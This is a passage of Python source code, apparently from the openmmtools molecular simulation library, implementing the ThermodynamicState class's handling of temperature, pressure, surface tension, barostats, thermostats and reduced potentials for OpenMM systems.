wrong. old_pressure = self.pressure old_surface_tension = self.surface_tension # make sure that the barostat type does not change if self.barostat is not None and type(new_barostat) is not type(self.barostat): raise ThermodynamicsError(ThermodynamicsError.INCONSISTENT_BAROSTAT) # Build the system with the new barostat. system = self.get_system(remove_barostat=True) system.addForce(copy.deepcopy(new_barostat)) # Update the internally stored standard system, and restore the old # pressure if something goes wrong (e.g. the system is not periodic). try: self._pressure = self._get_barostat_pressure(new_barostat) self._surface_tension = self._get_barostat_surface_tension(new_barostat) self._unsafe_set_system(system, fix_state=False) except ThermodynamicsError: self._pressure = old_pressure self._surface_tension = old_surface_tension raise @property def default_box_vectors(self): """The default box vectors of the System (read-only).""" return self._standard_system.getDefaultPeriodicBoxVectors() @property def volume(self): """Constant volume of the thermodynamic state (read-only). If the volume is allowed to fluctuate, or if the system is not in a periodic box this is None. """ return self.get_volume() def get_volume(self, ignore_ensemble=False): """Volume of the periodic box (read-only). Parameters ---------- ignore_ensemble : bool, optional If True, the volume of the periodic box vectors is returned even if the volume fluctuates. Returns ------- volume : openmm.unit.Quantity The volume of the periodic box (units of length^3) or None if the system is not periodic or allowed to fluctuate. """ # Check if volume fluctuates if self.pressure is not None and not ignore_ensemble: return None if not self._standard_system.usesPeriodicBoundaryConditions(): return None return _box_vectors_volume(self.default_box_vectors) @property def n_particles(self): """Number of particles (read-only).""" return self._standard_system.getNumParticles() @property def is_periodic(self): """True if the system is in a periodic box (read-only).""" return self._standard_system.usesPeriodicBoundaryConditions() @property def surface_tension(self): """Surface tension""" return self._surface_tension @surface_tension.setter def surface_tension(self, gamma): if (self._surface_tension is None) != (gamma is None): raise ThermodynamicsError(ThermodynamicsError.SURFACE_TENSION_NOT_SUPPORTED) else: self._surface_tension = gamma def reduced_potential(self, context_state): """Reduced potential in this thermodynamic state. Parameters ---------- context_state : SamplerState or openmm.Context Carry the configurational properties of the system. Returns ------- u : float The unit-less reduced potential, which can be considered to have units of kT. Notes ----- The reduced potential is defined as in Ref. [1], with a additional term for the surface tension u = \beta [U(x) + p V(x) + \mu N(x) - \gamma A] where the thermodynamic parameters are \beta = 1/(kB T) is the inverse temperature p is the pressure \mu is the chemical potential \gamma is the surface tension and the configurational properties are x the atomic positions U(x) is the potential energy V(x) is the instantaneous box volume N(x) the numbers of various particle species (e.g. protons of titratible groups) A(x) is the xy-area of the box. References ---------- [1] Shirts MR and Chodera JD. Statistically optimal analysis of equilibrium states. J Chem Phys 129:124105, 2008. Examples -------- Compute the reduced potential of a water box at 298 K and 1 atm. >>> from openmmtools import testsystems >>> waterbox = testsystems.WaterBox(box_edge=20.0*unit.angstroms) >>> system, positions = waterbox.system, waterbox.positions >>> state = ThermodynamicState(system=waterbox.system, ... temperature=298.0*unit.kelvin, ... pressure=1.0*unit.atmosphere) >>> integrator = openmm.VerletIntegrator(1.0*unit.femtosecond) >>> context = state.create_context(integrator) >>> context.setPositions(waterbox.positions) >>> sampler_state = SamplerState.from_context(context) >>> u = state.reduced_potential(sampler_state) If the sampler state is incompatible, an error is raised >>> incompatible_sampler_state = sampler_state[:-1] >>> state.reduced_potential(incompatible_sampler_state) Traceback (most recent call last): ... openmmtools.states.ThermodynamicsError: The sampler state has a different number of particles. In case a cached SamplerState containing the potential energy and the volume of the context is not available, the method accepts a Context object and compute them with Context.getState(). >>> u = state.reduced_potential(context) """ # Read Context/SamplerState n_particles, energy and volume. if isinstance(context_state, openmm.Context): n_particles = context_state.getSystem().getNumParticles() openmm_state = context_state.getState(getEnergy=True) potential_energy = openmm_state.getPotentialEnergy() volume = openmm_state.getPeriodicBoxVolume() area = _box_vectors_area_xy(openmm_state.getPeriodicBoxVectors()) else: n_particles = context_state.n_particles potential_energy = context_state.potential_energy volume = context_state.volume area = context_state.area_xy # Check compatibility. if n_particles != self.n_particles: raise ThermodynamicsError(ThermodynamicsError.INCOMPATIBLE_SAMPLER_STATE) return self._compute_reduced_potential(potential_energy, self.temperature, volume, self.pressure, area, self.surface_tension) @classmethod def reduced_potential_at_states(cls, context, thermodynamic_states): """Efficiently compute the reduced potential for a list of compatible states. The user is responsible to ensure that the given context is compatible with the thermodynamic states. Parameters ---------- context : openmm.Context The OpenMM `Context` object with box vectors and positions set. thermodynamic_states : list of ThermodynamicState The list of thermodynamic states at which to compute the reduced potential. Returns ------- reduced_potentials : list of float The unit-less reduced potentials, which can be considered to have units of kT. Raises ------ ValueError If the thermodynamic states are not compatible to each other. """ # Isolate first thermodynamic state. if len(thermodynamic_states) == 1: thermodynamic_states[0].apply_to_context(context) return [thermodynamic_states[0].reduced_potential(context)] # Check that the states are compatible. for state_idx, state in enumerate(thermodynamic_states[:-1]): if not state.is_state_compatible(thermodynamic_states[state_idx + 1]): raise ValueError('State {} is not compatible.') # In NPT, we'll need also the volume. is_npt = thermodynamic_states[0].pressure is not None is_npgammat = thermodynamic_states[0].surface_tension is not None volume = None area_xy = None energy_by_force_group = {force.getForceGroup(): 0.0*unit.kilocalories_per_mole for force in context.getSystem().getForces()} # Create new cache for memoization. memo = {} # Go through thermodynamic states and compute only the energy of the # force groups that changed. Compute all the groups the first pass. force_groups_to_compute = set(energy_by_force_group) reduced_potentials = [0.0 for _ in range(len(thermodynamic_states))] for state_idx, state in enumerate(thermodynamic_states): if state_idx == 0: state.apply_to_context(context) else: state._apply_to_context_in_state(context, thermodynamic_states[state_idx - 1]) # Compute the energy of all the groups to update. for force_group_idx in force_groups_to_compute: openmm_state = context.getState(getEnergy=True, groups=2**force_group_idx) energy_by_force_group[force_group_idx] = openmm_state.getPotentialEnergy() # Compute volume if this is the first time we obtain a state. if is_npt and volume is None: volume = openmm_state.getPeriodicBoxVolume() if is_npgammat and area_xy is None: area_xy = _box_vectors_area_xy(openmm_state.getPeriodicBoxVectors()) # Compute the new total reduced potential. potential_energy = unit.sum(list(energy_by_force_group.values())) reduced_potential = cls._compute_reduced_potential(potential_energy, state.temperature, volume, state.pressure, area_xy, state.surface_tension) reduced_potentials[state_idx] = reduced_potential # Update groups to compute for next states. if state_idx < len(thermodynamic_states) - 1: next_state = thermodynamic_states[state_idx + 1] force_groups_to_compute = next_state._find_force_groups_to_update(context, state, memo) return reduced_potentials def is_state_compatible(self, thermodynamic_state): """Check compatibility between ThermodynamicStates. The state is compatible if Contexts created by thermodynamic_state can be set to this ThermodynamicState through apply_to_context. The property is symmetric and transitive. This is faster than checking compatibility of a Context object through is_context_compatible, and it should be preferred when possible. Parameters ---------- thermodynamic_state : ThermodynamicState The thermodynamic state to test. Returns ------- is_compatible : bool True if the context created by thermodynamic_state can be converted to this state through apply_to_context(). See Also -------- ThermodynamicState.apply_to_context ThermodynamicState.is_context_compatible Examples -------- States in the same ensemble (NVT or NPT) are compatible. >>> from openmm import unit >>> from openmmtools import testsystems >>> alanine = testsystems.AlanineDipeptideExplicit() >>> state1 = ThermodynamicState(alanine.system, 273*unit.kelvin) >>> state2 = ThermodynamicState(alanine.system, 310*unit.kelvin) >>> state1.is_state_compatible(state2) True States in different ensembles are not compatible. >>> state1.pressure = 1.0*unit.atmosphere >>> state1.is_state_compatible(state2) False States that store different systems (that differ by more than barostat and thermostat pressure and temperature) are also not compatible. >>> alanine_implicit = testsystems.AlanineDipeptideImplicit().system >>> state_implicit = ThermodynamicState(alanine_implicit, 310*unit.kelvin) >>> state2.is_state_compatible(state_implicit) False """ state_system_hash = thermodynamic_state._standard_system_hash return self._standard_system_hash == state_system_hash def is_context_compatible(self, context): """Check compatibility of the given context. This is equivalent to is_state_compatible but slower, and it should be used only when the state the created the context is unknown. The context is compatible if it can be set to this ThermodynamicState through apply_to_context(). Parameters ---------- context : openmm.Context The OpenMM context to test. Returns ------- is_compatible : bool True if this ThermodynamicState can be applied to context. See Also -------- ThermodynamicState.apply_to_context ThermodynamicState.is_state_compatible """ # Avoid modifying the context system during standardization. context_system = copy.deepcopy(context.getSystem()) context_integrator = context.getIntegrator() # If the temperature is controlled by the integrator, the compatibility # is independent on the parameters of the thermostat, so we add one # identical to self._standard_system. We don't care if the integrator's # temperature != self.temperature, so we set check_consistency=False. if self._is_integrator_thermostated(context_integrator, check_consistency=False): thermostat = self._find_thermostat(self._standard_system) context_system.addForce(copy.deepcopy(thermostat)) # Compute and compare standard system hash. self._standardize_system(context_system) context_system_hash = self._compute_standard_system_hash(context_system) is_compatible = self._standard_system_hash == context_system_hash return is_compatible def create_context(self, integrator, platform=None, platform_properties=None): """Create a context in this ThermodynamicState. The context contains a copy of the system. If the integrator is coupled to a heat bath (e.g. LangevinIntegrator), the system in the context will not have a thermostat, and vice versa if the integrator is not thermostated the system in the context will have a thermostat. An integrator is considered thermostated if it exposes a method getTemperature(). A CompoundIntegrator is considered coupled to a heat bath if at least one of its integrators is. An exception is raised if the integrator is thermostated at a temperature different from the thermodynamic state's. Parameters ---------- integrator : openmm.Integrator The integrator to use for Context creation. The eventual heat bath temperature must be consistent with the thermodynamic state. platform : openmm.Platform, optional Platform to use. If None, OpenMM tries to select the fastest available platform. Default is None. platform_properties : dict, optional A dictionary of platform properties. Requires platform to be specified. Returns ------- context : openmm.Context The created OpenMM Context object. Raises ------ ThermodynamicsError If the integrator has a temperature different from this ThermodynamicState. ValueError If platform_properties is specified, but platform is None Examples -------- When passing an integrator that does not expose getter and setter for the temperature, the context will be created with a thermostat. >>> import openmm >>> from openmm import unit >>> from openmmtools import testsystems >>> toluene = testsystems.TolueneVacuum() >>> state = ThermodynamicState(toluene.system, 300*unit.kelvin) >>> integrator = openmm.VerletIntegrator(1.0*unit.femtosecond) >>> context = state.create_context(integrator) >>> system = context.getSystem() >>> [force.__class__.__name__ for force in system.getForces() ... if 'Thermostat' in force.__class__.__name__] ['AndersenThermostat'] The thermostat is removed if we choose an integrator coupled to a heat bath. >>> del context # Delete previous context to free memory. >>> integrator = openmm.LangevinIntegrator(300*unit.kelvin, 5.0/unit.picosecond, ... 2.0*unit.femtosecond) >>> context = state.create_context(integrator) >>> system = context.getSystem() >>> [force.__class__.__name__ for force in system.getForces() ... if 'Thermostat' in force.__class__.__name__] [] """ # Check that integrator is consistent and if it is thermostated. # With CompoundIntegrator, at least one must be thermostated. is_thermostated = self._is_integrator_thermostated(integrator) # Get a copy of the system. If integrator is coupled # to heat bath, remove the system thermostat. system = self.get_system(remove_thermostat=is_thermostated) # Create context. if platform is None: if platform_properties is not None: raise ValueError("To set platform_properties, you need to also specify the platform.") return openmm.Context(system, integrator) elif platform_properties is None: return openmm.Context(system, integrator, platform) else: return openmm.Context(system, integrator, platform, platform_properties) def apply_to_context(self, context): """Apply this ThermodynamicState to the context. The method apply_to_context does *not* check for the compatibility of the context. The user is responsible for this. Depending on the system size, is_context_compatible can be an expensive operation, so is_state_compatible should be preferred when possible. Parameters ---------- context : openmm.Context The OpenMM Context to be set to this ThermodynamicState. Raises ------ ThermodynamicsError If the context is in a different thermodynamic ensemble w.r.t. this state. This is just a quick check which does not substitute is_state_compatible or is_context_compatible. See Also -------- ThermodynamicState.is_state_compatible ThermodynamicState.is_context_compatible Examples -------- The method doesn't verify compatibility with the context, it is the user's responsibility to do so, possibly with is_state_compatible rather than is_context_compatible which is slower. >>> import openmm >>> from openmm import unit >>> from openmmtools import testsystems >>> toluene = testsystems.TolueneVacuum() >>> state1 = ThermodynamicState(toluene.system, 273.0*unit.kelvin) >>> state2 = ThermodynamicState(toluene.system, 310.0*unit.kelvin) >>> integrator = openmm.VerletIntegrator(1.0*unit.femtosecond) >>> context = state1.create_context(integrator) >>> if state2.is_state_compatible(state1): ... state2.apply_to_context(context) >>> context.getParameter(openmm.AndersenThermostat.Temperature()) 310.0 """ self._set_context_barostat(context, update_pressure=True, update_temperature=True, update_surface_tension=True) self._set_context_thermostat(context) # ------------------------------------------------------------------------- # Magic methods # ------------------------------------------------------------------------- def __copy__(self): """Overwrite normal implementation to share standard system.""" cls = self.__class__ new_state = cls.__new__(cls) new_state.__dict__.update({k: v for k, v in self.__dict__.items() if k != '_standard_system'}) new_state.__dict__['_standard_system'] = self._standard_system return new_state def __deepcopy__(self, memo): """Overwrite normal implementation to share standard system.""" cls = self.__class__ new_state = cls.__new__(cls) memo[id(self)] = new_state for k, v in self.__dict__.items(): if k != '_standard_system': new_state.__dict__[k] = copy.deepcopy(v, memo) new_state.__dict__['_standard_system'] = self._standard_system return new_state _ENCODING = 'utf-8' def __getstate__(self, skip_system=False): """Return a dictionary representation of the state. Zlib compresses the serialized system after its created. Many alchemical systems have very long serializations so this method helps reduce space in memory and on disk. The compression forces the encoding for compatibility between separate Python installs (utf-8 by default). Parameters ---------- skip_system: bool, Default: False Choose whether or not to get the serialized system as the part of the return. If False, then the serialized system is computed and included in the serialization. If True, then ``None`` is returned for the ``'standard_system'`` field of the serialization. """ serialized_system = None if not skip_system: serialized_system = openmm.XmlSerializer.serialize(self._standard_system) serialized_system = zlib.compress(serialized_system.encode(self._ENCODING)) return dict(standard_system=serialized_system, temperature=self.temperature, pressure=self.pressure, surface_tension=self._surface_tension) def __setstate__(self, serialization): """Set the state from a dictionary representation.""" self._temperature = serialization['temperature'] self._pressure = serialization['pressure'] self._surface_tension = serialization['surface_tension'] serialized_system = serialization['standard_system'] # Decompress system, if need be try: serialized_system = zlib.decompress(serialized_system) # Py2 returns the string, Py3 returns a byte string to decode, but if we # decode the string in Py2 we get a unicode object that OpenMM can't parse. if sys.version_info > (3, 0): serialized_system = serialized_system.decode(self._ENCODING) except (TypeError, zlib.error): # Py3/2 throws different error types # Catch the "serialization is not compressed" error, do nothing to string. # Preserves backwards compatibility pass self._standard_system_hash = serialized_system.__hash__() # Check first if we have already the system in the cache. try: self._standard_system = self._standard_system_cache[self._standard_system_hash] except KeyError: system = openmm.XmlSerializer.deserialize(serialized_system) self._standard_system_cache[self._standard_system_hash] = system self._standard_system = system # ------------------------------------------------------------------------- # Internal-usage: initialization # ------------------------------------------------------------------------- def _initialize(self, system, temperature=None, pressure=None, surface_tension=None): """Initialize the thermodynamic state.""" # Avoid modifying the original system when setting temperature and pressure. system = copy.deepcopy(system) # If pressure is None, we try to infer the pressure from the barostat. barostat = self._find_barostat(system) if pressure is None and barostat is not None: self._pressure = self._get_barostat_pressure(barostat) else: self._pressure = pressure # Pressure here can also be None. # If surface tension is None, we try to infer the surface tension from the barostat. barostat_type = type(barostat) if surface_tension is None and barostat_type == openmm.MonteCarloMembraneBarostat: self._surface_tension = barostat.getDefaultSurfaceTension() elif surface_tension is not None and barostat_type != openmm.MonteCarloMembraneBarostat: raise ThermodynamicsError(ThermodynamicsError.INCOMPATIBLE_ENSEMBLE) else: self._surface_tension = surface_tension # If temperature is None, we infer the temperature from a thermostat. if temperature is None: thermostat = self._find_thermostat(system) if thermostat is None: raise ThermodynamicsError(ThermodynamicsError.NO_THERMOSTAT) self._temperature = thermostat.getDefaultTemperature() else: self._temperature = temperature # Fix system temperature/pressure if requested. if temperature is not None: self._set_system_temperature(system, temperature) if pressure is not None: self._set_system_pressure(system, pressure) if surface_tension is not None: self._set_system_surface_tension(system, surface_tension) # We can use the unsafe set_system since the system has been copied. self._unsafe_set_system(system, fix_state=False) # ------------------------------------------------------------------------- # Internal-usage: system handling # ------------------------------------------------------------------------- # Standard values are not standard in a physical sense, they are # just consistent between ThermodynamicStates to make comparison # of standard system hashes possible. We set this to round floats # and use OpenMM units to avoid funniness due to precision errors # caused by unit conversion. _STANDARD_PRESSURE = 1.0*unit.bar _STANDARD_TEMPERATURE = 273.0*unit.kelvin _STANDARD_SURFACE_TENSION = 0.0*unit.nanometer*unit.bar _NONPERIODIC_NONBONDED_METHODS = {openmm.NonbondedForce.NoCutoff, openmm.NonbondedForce.CutoffNonPeriodic} # Shared cache of standard systems to minimize memory consumption # when simulating a lot of thermodynamic states. The cache holds # only weak references so ThermodynamicState objects must keep the # system as an internal variable. _standard_system_cache = weakref.WeakValueDictionary() def _unsafe_set_system(self, system, fix_state): """This implements self.set_system but modifies the passed system.""" # Configure temperature and pressure. if fix_state: # We just need to add/remove the barostat according to the ensemble. # Temperature, pressure, surface tension of thermostat and barostat will be set # to their standard value afterwards. self._set_system_pressure(system, self.pressure) self._set_system_surface_tension(system, self.surface_tension) else: # If the flag is deactivated, we check that temperature # pressure, and surface tension of the system are correct. self._check_system_consistency(system) # Update standard system. self._standardize_system(system) self._update_standard_system(system) def _check_system_consistency(self, system): """Check system consistency with this ThermodynamicState. Raise an error if the system is inconsistent. Currently checks that there's 1 and only 1 thermostat at the correct temperature, that there's only 1 barostat (or none in case this is in NVT), that the barostat is supported, has the correct temperature and pressure, and that it is not associated to a non-periodic system. Parameters ---------- system : openmm.System The system to test. Raises ------ ThermodynamicsError If the system is inconsistent with this state. """ TE = ThermodynamicsError # shortcut # This raises MULTIPLE_THERMOSTATS thermostat = self._find_thermostat(system) # When system is self._system, we check the presence of a # thermostat before the barostat to avoid crashes when # checking the barostat temperature. if thermostat is None: raise TE(TE.NO_THERMOSTAT) elif not utils.is_quantity_close(thermostat.getDefaultTemperature(), self.temperature): raise TE(TE.INCONSISTENT_THERMOSTAT) # This line raises MULTIPLE_BAROSTATS and UNSUPPORTED_BAROSTAT. barostat = self._find_barostat(system) if barostat is not None: # Check that barostat is not added to non-periodic system. We # cannot use System.usesPeriodicBoundaryConditions() because # in OpenMM < 7.1 that returns True when a barostat is added. # TODO just use usesPeriodicBoundaryConditions when drop openmm7.0 for force in system.getForces(): if isinstance(force, openmm.NonbondedForce): nonbonded_method = force.getNonbondedMethod() if nonbonded_method in self._NONPERIODIC_NONBONDED_METHODS: raise TE(TE.BAROSTATED_NONPERIODIC) if not self._is_barostat_consistent(barostat): raise TE(TE.INCONSISTENT_BAROSTAT) elif self.pressure is not None: raise TE(TE.NO_BAROSTAT) def _standardize_system(self, system): """Return a copy of the system in a standard representation. This effectively defines which ThermodynamicStates are compatible between each other. Compatible ThermodynamicStates have the same standard systems, and is_state_compatible will return True if the (cached) serialization of the standard systems are identical. If no thermostat is present, an AndersenThermostat is added. The presence of absence of a barostat determine whether this system is in NPT or NVT ensemble. Pressure and temperature of barostat (if any) and thermostat are set to _STANDARD_PRESSURE/TEMPERATURE. If present, the barostat force is pushed at the end so that the order of the two forces won't matter. Effectively this means that only same systems in the same ensemble (NPT or NVT) are compatible between each other. Parameters ---------- system : openmm.System The system to standardize. See Also -------- ThermodynamicState.apply_to_context ThermodynamicState.is_state_compatible ThermodynamicState.is_context_compatible """ # This adds a thermostat if it doesn't exist already. This way # the comparison between system using thermostat with different # parameters (e.g. collision frequency) will fail as expected. self._set_system_temperature(system, self._STANDARD_TEMPERATURE) # We need to be sure that thermostat and barostat always are # in the same order, as the hash depends on the Forces order. # Here we push the barostat at the end. barostat = self._pop_barostat(system) if barostat is not None: self._set_barostat_pressure(barostat, self._STANDARD_PRESSURE) if isinstance(barostat, openmm.MonteCarloMembraneBarostat): self._set_barostat_surface_tension(barostat, self._STANDARD_SURFACE_TENSION) system.addForce(barostat) def _compute_standard_system_hash(self, standard_system): """Compute the standard system hash.""" system_serialization = openmm.XmlSerializer.serialize(standard_system) return system_serialization.__hash__() def _update_standard_system(self, standard_system): """Update the standard system, its hash and the standard system cache.""" self._standard_system_hash = self._compute_standard_system_hash(standard_system) try: self._standard_system = self._standard_system_cache[self._standard_system_hash] except KeyError: self._standard_system_cache[self._standard_system_hash] = standard_system self._standard_system = standard_system # ------------------------------------------------------------------------- # Internal-usage: context handling # ------------------------------------------------------------------------- def _set_context_barostat(self, context, update_pressure, update_temperature, update_surface_tension): """Set the barostat parameters in the Context.""" barostat = self._find_barostat(context.getSystem()) # Check if we are in the same ensemble. if (barostat is None) != (self._pressure is None): raise ThermodynamicsError(ThermodynamicsError.INCOMPATIBLE_ENSEMBLE) if (type(barostat) is openmm.MonteCarloMembraneBarostat) == (self._surface_tension is None): raise ThermodynamicsError(ThermodynamicsError.INCOMPATIBLE_ENSEMBLE) # No need to set the barostat if we are in NVT. if self._pressure is None: return # Apply pressure, surface tension, and temperature to barostat. if update_pressure: self._set_barostat_pressure(barostat, self.pressure) self._set_barostat_pressure_in_context(barostat, self.pressure, context) if self.surface_tension is not None and update_surface_tension: self._set_barostat_surface_tension(barostat, self.surface_tension) self._set_barostat_surface_tension_in_context(barostat, self.surface_tension, context) if update_temperature: self._set_barostat_temperature(barostat, self.temperature) # TODO remove try except when drop openmm7.0 support try: context.setParameter(barostat.Temperature(), self.temperature) except AttributeError: # OpenMM < 7.1 openmm_state = context.getState(getPositions=True, getVelocities=True, getParameters=True) context.reinitialize() context.setState(openmm_state) def _set_context_thermostat(self, context): """Set the thermostat parameters in the Context.""" # First try to set the integrator (most common case). # If this fails retrieve the Andersen thermostat. is_thermostated = self._set_integrator_temperature(context.getIntegrator()) if not is_thermostated: thermostat = self._find_thermostat(context.getSystem()) thermostat.setDefaultTemperature(self.temperature) context.setParameter(thermostat.Temperature(), self.temperature) def _apply_to_context_in_state(self, context, thermodynamic_state): """Apply this ThermodynamicState to the context. When we know the thermodynamic state of the context, this is much faster then apply_to_context(). The given thermodynamic state is assumed to be compatible. Parameters ---------- context : openmm.Context The OpenMM Context to be set to this ThermodynamicState. thermodynamic_state : ThermodynamicState The ThermodynamicState of this context. """ update_pressure = self.pressure != thermodynamic_state.pressure update_temperature = self.temperature != thermodynamic_state.temperature update_surface_tension = self.surface_tension != thermodynamic_state.surface_tension if update_pressure or update_temperature or update_surface_tension: self._set_context_barostat(context, update_pressure, update_temperature, update_surface_tension) if update_temperature: self._set_context_thermostat(context) # ------------------------------------------------------------------------- # Internal-usage: integrator handling # ------------------------------------------------------------------------- @staticmethod def _loop_over_integrators(integrator): """Unify manipulation of normal, compound and thermostated integrators.""" if isinstance(integrator, openmm.CompoundIntegrator): for integrator_id in range(integrator.getNumIntegrators()): _integrator = integrator.getIntegrator(integrator_id) integrators.ThermostatedIntegrator.restore_interface(_integrator) yield _integrator else: integrators.ThermostatedIntegrator.restore_interface(integrator) yield integrator def _is_integrator_thermostated(self, integrator, check_consistency=True): """True if integrator is coupled to a heat bath. If integrator is a CompoundIntegrator, it returns true if at least one of its integrators is coupled to a heat bath. Raises ------ ThermodynamicsError If check_consistency is True and the integrator is coupled to a heat bath at a different temperature than this thermodynamic state. """ # Loop over integrators to handle CompoundIntegrators. is_thermostated = False for _integrator in self._loop_over_integrators(integrator): try: temperature = _integrator.getTemperature() except AttributeError: pass else: # Raise exception if the heat bath is at the wrong temperature. if (check_consistency and not utils.is_quantity_close(temperature, self.temperature)): err_code = ThermodynamicsError.INCONSISTENT_INTEGRATOR raise ThermodynamicsError(err_code) is_thermostated = True # We still need to loop over every integrator to make sure # that the temperature is consistent for all of them. return is_thermostated def _set_integrator_temperature(self, integrator): """Set heat bath temperature of the integrator. If integrator is a CompoundIntegrator, it sets the temperature of every sub-integrator. Returns ------- is_thermostated : bool True if the integrator is thermostated. """ def set_temp(_integrator): try: _integrator.setTemperature(self.temperature) return True except AttributeError: return False # Loop over integrators to handle CompoundIntegrators. is_thermostated = False for _integrator in self._loop_over_integrators(integrator): is_thermostated = is_thermostated or set_temp(_integrator) return is_thermostated # ------------------------------------------------------------------------- # Internal-usage: barostat handling # ------------------------------------------------------------------------- _SUPPORTED_BAROSTATS = {'MonteCarloBarostat', 'MonteCarloAnisotropicBarostat', 'MonteCarloMembraneBarostat'} @classmethod def _find_barostat(cls, system, get_index=False): """Return the first barostat found in the system. Returns ------- force_idx : int or None, optional The force index of the barostat. barostat : OpenMM Force object The barostat in system, or None if no barostat is found. Raises ------ ThermodynamicsError If the system contains unsupported barostats. """ try: force_idx, barostat = forces.find_forces(system, '.*Barostat.*', only_one=True) except forces.MultipleForcesError: raise ThermodynamicsError(ThermodynamicsError.MULTIPLE_BAROSTATS) except forces.NoForceFoundError: force_idx, barostat = None, None else: if barostat.__class__.__name__ not in cls._SUPPORTED_BAROSTATS: raise ThermodynamicsError(ThermodynamicsError.UNSUPPORTED_BAROSTAT, barostat.__class__.__name__) elif isinstance(barostat, openmm.MonteCarloAnisotropicBarostat): # support only if pressure in all scaled directions is equal pressures = barostat.getDefaultPressure().value_in_unit(unit.bar) scaled = [barostat.getScaleX(), barostat.getScaleY(), barostat.getScaleY()] if sum(scaled) == 0: raise ThermodynamicsError(ThermodynamicsError.UNSUPPORTED_ANISOTROPIC_BAROSTAT) active_pressures = [pressure for pressure, active in zip(pressures, scaled) if active] if any(abs(pressure - active_pressures[0]) > 0 for pressure in active_pressures): raise ThermodynamicsError(ThermodynamicsError.UNSUPPORTED_ANISOTROPIC_BAROSTAT) if get_index: return force_idx, barostat return barostat @classmethod def _pop_barostat(cls, system): """Remove the system barostat. Returns ------- The removed barostat if it was found, None otherwise. """ barostat_idx, barostat = cls._find_barostat(system, get_index=True) if barostat_idx is not None: # We need to copy the barostat since we don't own # its memory (i.e. we can't add it back to the system). barostat = copy.deepcopy(barostat) system.removeForce(barostat_idx) return barostat return None def _is_barostat_type_consistent(self, barostat): # during initialization (standard system not set), any barostat type is OK if not hasattr(self, "_standard_system"): return True system_barostat = self._find_barostat(self._standard_system) return type(barostat) == type(system_barostat) def _is_barostat_consistent(self, barostat): """Check the barostat's temperature, pressure, and surface_tension.""" try: barostat_temperature = barostat.getDefaultTemperature() except AttributeError: # versions previous to OpenMM 7.1 barostat_temperature = barostat.getTemperature() barostat_pressure = self._get_barostat_pressure(barostat) barostat_surface_tension = self._get_barostat_surface_tension(barostat) is_consistent = self._is_barostat_type_consistent(barostat) is_consistent = is_consistent and utils.is_quantity_close(barostat_temperature, self.temperature) is_consistent = is_consistent and utils.is_quantity_close(barostat_pressure, self.pressure) if barostat is not None and self._surface_tension is not None: is_consistent = is_consistent and utils.is_quantity_close(barostat_surface_tension, self._surface_tension) else: is_consistent = is_consistent and (barostat_surface_tension == self._surface_tension) # both None return is_consistent def _set_system_pressure(self, system, pressure): """Add or configure the system barostat to the given pressure. If a new barostat is added, its temperature is set to self.temperature. Parameters ---------- system : openmm.System The system's barostat will be added/configured. pressure : openmm.unit.Quantity or None The pressure with units compatible to bars. If None, the barostat of the system is removed. Raises ------ ThermodynamicsError If pressure needs to be set for a non-periodic system. """ if pressure is None: # If new pressure is None, remove barostat. self._pop_barostat(system) return if not system.usesPeriodicBoundaryConditions(): raise ThermodynamicsError(ThermodynamicsError.BAROSTATED_NONPERIODIC) barostat = self._find_barostat(system) if barostat is None: # Add barostat barostat = openmm.MonteCarloBarostat(pressure, self.temperature) system.addForce(barostat) else: # Set existing barostat self._set_barostat_pressure(barostat, pressure) @staticmethod def _set_barostat_pressure(barostat, pressure): """Set barostat pressure.""" if isinstance(pressure, unit.Quantity): pressure = pressure.value_in_unit(unit.bar) if isinstance(barostat, openmm.MonteCarloAnisotropicBarostat): barostat.setDefaultPressure(openmm.Vec3(pressure, pressure, pressure)*unit.bar) else: barostat.setDefaultPressure(pressure*unit.bar) @staticmethod def _set_barostat_pressure_in_context(barostat, pressure, context): """Set barostat pressure.""" if isinstance(barostat, openmm.MonteCarloAnisotropicBarostat): p = pressure.value_in_unit(unit.bar) context.setParameter(barostat.Pressure(), openmm.Vec3(p, p, p)*unit.bar) else: context.setParameter(barostat.Pressure(), pressure) @staticmethod def _get_barostat_pressure(barostat): """Set barostat pressure.""" if isinstance(barostat, openmm.MonteCarloAnisotropicBarostat): scaled = [barostat.getScaleX(), barostat.getScaleY(), barostat.getScaleZ()] first_scaled_axis = scaled.index(True) return barostat.getDefaultPressure()[first_scaled_axis] else: return barostat.getDefaultPressure() @staticmethod def _set_barostat_temperature(barostat, temperature): """Set barostat temperature.""" barostat.setDefaultTemperature(temperature) def _set_system_surface_tension(self, system, gamma): """Set system surface tension""" if gamma is not None and not system.usesPeriodicBoundaryConditions(): raise ThermodynamicsError(ThermodynamicsError.BAROSTATED_NONPERIODIC) barostat = self._find_barostat(system) if (gamma is None) == isinstance(barostat, openmm.MonteCarloMembraneBarostat): raise ThermodynamicsError(ThermodynamicsError.INCOMPATIBLE_ENSEMBLE) self._set_barostat_surface_tension(barostat, gamma) def _set_barostat_surface_tension(self, barostat, gamma): # working around a bug in the unit conversion https://github.com/openmm/openmm/issues/2406 if isinstance(gamma, unit.Quantity): gamma = gamma.value_in_unit(unit.bar * unit.nanometer) if isinstance(barostat, openmm.MonteCarloMembraneBarostat): barostat.setDefaultSurfaceTension(gamma) elif gamma is not None: raise ThermodynamicsError(ThermodynamicsError.SURFACE_TENSION_NOT_SUPPORTED) def _get_barostat_surface_tension(self, barostat): if isinstance(barostat, openmm.MonteCarloMembraneBarostat): return barostat.getDefaultSurfaceTension() else: return None @staticmethod def _set_barostat_surface_tension_in_context(barostat, surface_tension, context): """Set barostat surface tension.""" # work around a unit conversion issue in openmm if isinstance(surface_tension, unit.Quantity): surface_tension = surface_tension.value_in_unit(unit.nanometer*unit.bar) try: context.getParameter(barostat.SurfaceTension()) except Exception: raise ThermodynamicsError(ThermodynamicsError.INCOMPATIBLE_ENSEMBLE) context.setParameter(barostat.SurfaceTension(), surface_tension) # ------------------------------------------------------------------------- # Internal-usage: thermostat handling # ------------------------------------------------------------------------- @classmethod def _find_thermostat(cls, system, get_index=False): """Return the first thermostat in the system. Returns ------- force_idx : int or None, optional The force index of the thermostat. thermostat : OpenMM Force object or None The thermostat in system, or None if no thermostat is found. """ try: force_idx, thermostat = forces.find_forces(system, '.*Thermostat.*', only_one=True) except forces.MultipleForcesError: raise ThermodynamicsError(ThermodynamicsError.MULTIPLE_THERMOSTATS) except forces.NoForceFoundError: force_idx, thermostat = None, None if get_index: return force_idx, thermostat return thermostat @classmethod def _remove_thermostat(cls, system): """Remove the system thermostat.""" thermostat_idx, thermostat = cls._find_thermostat(system, get_index=True) if thermostat_idx is not None: system.removeForce(thermostat_idx) @classmethod def _set_system_temperature(cls, system, temperature): """Configure 